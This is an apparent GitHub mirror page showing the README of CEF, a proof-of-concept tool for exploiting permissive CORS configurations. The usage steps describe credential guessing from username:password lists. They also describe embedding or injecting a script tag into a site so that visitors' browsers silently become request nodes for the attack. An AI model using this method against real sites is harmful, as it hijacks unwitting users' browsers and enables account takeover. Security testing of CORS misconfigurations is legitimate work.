GithubHelp home page GithubHelp logo

slowmistio / cef Goto Github PK

View Code? Open in Web Editor NEW

This project forked from lanmaster53/cef

0.0 0.0 0.0 5.14 MB

Proof-of-concept CORS exploitation tool.

Python 2.46% CSS 0.18% JavaScript 97.11% HTML 0.24%

cef's Introduction

CORS Exploitation Framework (CEF)

A proof-of-concept tool for conducting distributed exploitation of permissive CORS configurations.

Setup

  1. Install Redis and Python 3.

  2. Clone this repository.

  3. Install the dependencies.

    • pip install -r requirements
  4. Set the FILES_DIR configuration item in cef/__init__.py to a directory that contains lists of credentials.

    • Credentials *MUST* be in username:password format.
  5. Initialize the database in a Python interactive shell.

     import cef
     cef.init_db()
    
  6. Launch Redis.

    • $ redis-server
  7. Launch CEF.

    • $ gunicorn cef:app --worker-class gevent --bind 127.0.0.1:8888
  8. Visit http://127.0.0.1:8888/dashboard.

Usage

  1. Add an attack. Pay special attention to the payload expression field. This field requires a python expression that leverages the u (username) and p (password) variables to return the payload for the request. It should look something like json.dumps({'email':u,'password':p}).
  2. Add lists to the previously configured directory. Obviously, this requires access to the server's file system.
  3. Queue up the attack by pressing the "run attack" button. The status will update showing the number of queued requests, but nothing is happening... yet.
  4. Hook remote browsers to do the work for you. Any request for a file at the web root with the extension of .js will return the "hook" file that will turn an exposed browser into a stream-fed request node. Therefore, the code you'd want to embed (or inject) in a site would be something like <script src="http://127.0.0.1:8888/cdscds.js"></script>.
  5. View the results panel for successful credential guesses. The dashboard uses Vue.js on the front end, so there is no need to refresh the page. Everything is rendered dynamically by the client.

cef's People

Contributors

lanmaster53 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.